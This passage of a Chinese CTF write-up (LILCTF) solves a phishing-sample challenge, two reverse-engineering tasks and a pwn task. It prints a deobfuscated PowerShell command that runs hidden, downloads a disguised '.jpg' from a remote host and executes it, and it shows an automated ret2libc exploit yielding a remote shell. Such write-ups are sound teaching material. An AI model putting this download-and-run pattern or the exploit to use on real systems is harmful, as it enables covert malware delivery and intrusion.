chars.append(chr(variables[arg]))
else:
print(f"警告:未找到变量 {arg}")

decoded = ''.join(chars)
print("解码结果:\n")
print(decoded)
return decoded


if __name__ == '__main__':
decode_from_char_codes()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def decode_js_array(arr):
"""
解码 JS 数组为可读字符串。
JS 里用了 String.fromCharCode(FVKq[i] - 601)
"""
return ''.join(chr(x - 601) for x in arr)

# 示例:把你给的数组填写到这里
FVKq = []

decoded = decode_js_array(FVKq)
print(decoded)
import re

hex_str = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fff9f9fbe3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7" # 长串省略
hex_bytes = re.findall('..', hex_str)

decoded = ''.join([chr(int(b,16) ^ 0xCC) for b in hex_bytes])
print(decoded)

1
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:43557/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

指向/bestudding.jpg

1
curl -o bestudding.jpg http://challenge.xinshi.fun:43557/bestudding.jpg

curl下载后,用010查看,发现是混淆的powershell代码

用下面工具反混淆可发现里面有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
_____                     ______                   _
| ___ \ | _ \ | |
| |_/ /____ _____ _ __| | | |___ ___ ___ __| | ___
| __/ _ \ \ /\ / / _ \ '__| | | / _ \/ __/ _ \ / _` |/ _ \
| | | (_) \ V V / __/ | | |/ / __/ (_| (_) | (_| | __/
\_| \___/ \_/\_/ \___|_| |___/ \___|\___\___/ \__,_|\___|

PowerShell Script Decoder


Script loaded from file E:\Users\20497Downloads\weblil\bestudding.jpg (sha256: 55C4CBD6B976E8B0B7B6E647472525D2B52778F4BEA25C511DDA37D9DDB297AA )
省略......
$fF1IA49G = "LILCTF{63_vlGII@NT_a6A1n$T_Ph1shiNg}"

LILCTF{63_vlGII@NT_a6A1n$T_Ph1shiNg}

Qt_Creator

好像不安装直接解压可能也可以,demo_code_editor.exe用IDA_32位分析,字符串看到有login,这和输入注册码界面不谋而合,交叉引用到**int __thiscall sub_40EE30(_DWORD *this, int a2)**

发现下面这些字符

1
2
3
4
5
6
7
this[7] = ZN7QString16fromAscii_helperEPKci("KJKDS", 5);
this[8] = ZN7QString16fromAscii_helperEPKci("GzR6`", 5);
this[9] = ZN7QString16fromAscii_helperEPKci("bsd5s", 5);
this[10] = ZN7QString16fromAscii_helperEPKci("1q`0t", 5);
this[11] = ZN7QString16fromAscii_helperEPKci("^wdsx", 5);
this[12] = ZN7QString16fromAscii_helperEPKci("`b1mw", 5);
v3 = ZN7QString16fromAscii_helperEPKci("2oh4mu|", 7);

1
KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|

给反汇编代码给GPT,它写了个爆破解密的代码,那我们不如干脆用随波逐流工具

发现有凯撒Caesar解码:

1
mode2 #1: LKLETH{S7acte6t2ra1u_xetyac2nx3pi5nv}

很像flag

后来结合flag格式LILCTF{}给AI分析,选择明文攻击,基本上就出来了

即如下变换

1
2
3
s="LKLETH{S7acte6t2ra1u_xetyac2nx3pi5nv}"
t="".join(chr(ord(c)-2) if (i%2==0) else c for i,c in enumerate(s,1))
print(t)

LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

ARM ASM

拿到附件是一个apk文件,用模拟器打开先看看大概逻辑,发现就是一个比较,输入的就是flag

将apk解包后,用jadx分析每一个类文件,拖入class3.dex,发现了flag比较的地方

当输入一个字符串后会进入check函数的转换再与“KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S”进行比较。所以主要的加密逻辑在于check函数

找到 lib/arm64-v8a/libez_asm_hahaha.so,用 Ghidra / IDA 打开 ,找符号名:Java_work_pangbai_ez_1asm_1hahaha_MainActivity_check

分析代码, 就是对输入的字符串做了三步处理,然后 Base64 加密输出。

  1. 输入检查

  2. 查表 + 异或

  3. 每 3 个字节一组位移

  4. Base64 加密(非标准表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall Java_work_pangbai_ez_1asm_1hahaha_MainActivity_check(_JNIEnv *a1, __int64 a2, __int64 a3)
{
size_t v3; // x0
const char *p_n2; // x10
int8x16_t v5; // q0
int v6; // w0
int n47; // [xsp+2Ch] [xbp-1D4h]
int n2; // [xsp+7Ch] [xbp-184h]
int8x16_t t; // [xsp+A0h] [xbp-160h]
char *v11; // [xsp+B8h] [xbp-148h]
__int64 v13; // [xsp+E0h] [xbp-120h]
const char *StringUTFChars; // [xsp+110h] [xbp-F0h]
char n2_1; // [xsp+1E7h] [xbp-19h] BYREF
char *v16; // [xsp+1E8h] [xbp-18h] BYREF
char v17; // [xsp+1F7h] [xbp-9h] BYREF
__int64 v18; // [xsp+1F8h] [xbp-8h]

v18 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
v17 = 0;
StringUTFChars = (const char *)_JNIEnv::GetStringUTFChars(a1, a3, &v17);
v3 = __strlen_chk(StringUTFChars, 0xFFFFFFFFFFFFFFFFLL);
v11 = (char *)malloc(v3 + 1);
__strcpy_chk(v11, StringUTFChars, -1);
if ( __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFLL) == 48 )
{
t = (int8x16_t)::t;
for ( n2 = 0; n2 <= 2; ++n2 )
{
*(int8x16_t *)&v11[16 * n2] = veorq_s8(vqtbl1q_s8(*(int8x16_t *)&v11[16 * n2], t), t);
n2_1 = n2;
p_n2 = &n2_1;
v5 = vld1q_dup_s8(p_n2);
t = veorq_s8(t, v5);
__android_log_print(6, "========= Error ========= ", "%s", v11);
}
__android_log_print(6, "========= Error ========= ", "%s", v11);
for ( n47 = 0; n47 <= 47; n47 += 3 )
{
v11[n47] = ((unsigned __int8)v11[n47] >> 5) | (8 * v11[n47]);
v11[n47 + 1] = ((unsigned __int8)v11[n47 + 1] >> 1) | (v11[n47 + 1] << 7);
v11[n47 + 2] = v11[n47 + 2];
}
v6 = __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFLL);
encodeBase64(v11, v6, &v16);
__android_log_print(6, "========= Error ========= ", "%s", v11);
v13 = _JNIEnv::NewStringUTF(a1, v16);
}
else
{
v13 = _JNIEnv::NewString(a1, word_86B, 3);
}
_ReadStatusReg(TPIDR_EL0);
return v13;
}

encodeBase64是换表后的base64加密,换的表为


abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/

找到t的值后

分析完毕将主要逻辑给ai,逆出解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# 自定义 Base64 表
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

# 初始 t 常量表
t0 = [0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08,
0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00]

# 自定义 Base64 解码
def custom_b64decode(s):
table_map = {c: i for i, c in enumerate(table)}
bits = ""
for ch in s:
val = table_map[ch]
bits += f"{val:06b}"
data = []
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
data.append(int(byte, 2))
return bytearray(data)

# 循环左移
def rol(val, r):
return ((val << r) & 0xFF) | (val >> (8 - r))

# 逆置换
def inverse_tbl(v, tbl):
out = [0] * 16
for i, idx in enumerate(tbl):
out[idx] = v[i]
return bytearray(out)

# 生成加密时每一轮的 t 表
def gen_t_list():
t_list = []
t_tmp = t0[:]
for n2 in range(0, 3):
t_list.append(t_tmp[:])
t_tmp = [x ^ n2 for x in t_tmp]
return t_list

def decrypt_flag(b64_str):
# Step 1: 自定义 Base64 解码
data = custom_b64decode(b64_str)
if len(data) != 48:
raise ValueError("解码长度不为48字节,可能输入有误")

# Step 2: 逆位移还原
for i in range(0, len(data), 3):
data[i] = rol(data[i], 5) # 原来右移5 → 左移5
data[i+1] = rol(data[i+1], 1) # 原来右移1 → 左移1
# 第3个字节不变

# Step 3: 逆查表 + 异或还原
t_list = gen_t_list()
for n2 in reversed(range(0, 3)):
block = data[16*n2:16*(n2+1)]
tbl = t_list[n2]
# 先 XOR
block = bytearray([b ^ t for b, t in zip(block, tbl)])
# 再逆置换
block = inverse_tbl(block, tbl)
data[16*n2:16*(n2+1)] = block

return data.decode()

if __name__ == "__main__":
b64_input = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
flag = decrypt_flag(b64_input)
print("Flag:", flag)

LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}

PWN

签到

先用pwnpasi工具试试

1
2
(base) ┌──(kali㉿LAPTOP-PKCNLOTE)-[~/pwndir/pwnpasi]
└─$ python pwnpasi.py -l pwn -libc libc.so.6 -ip challenge.xinshi.fun -p 44754
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*]Address of puts in libc: 0x7f9d71456e50
[*]Address of system in libc: 0x7f9d71426d70
[*]Address of "/bin/sh" string in libc: 0x7f9d715ae678
[*]PWN!!!
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib64
vuln
$ cat flag
LILCTF{8154842a-90de-4dba-af9e-0dd61f054703}[*] Got EOF while reading in interactive

LILCTF{8154842a-90de-4dba-af9e-0dd61f054703}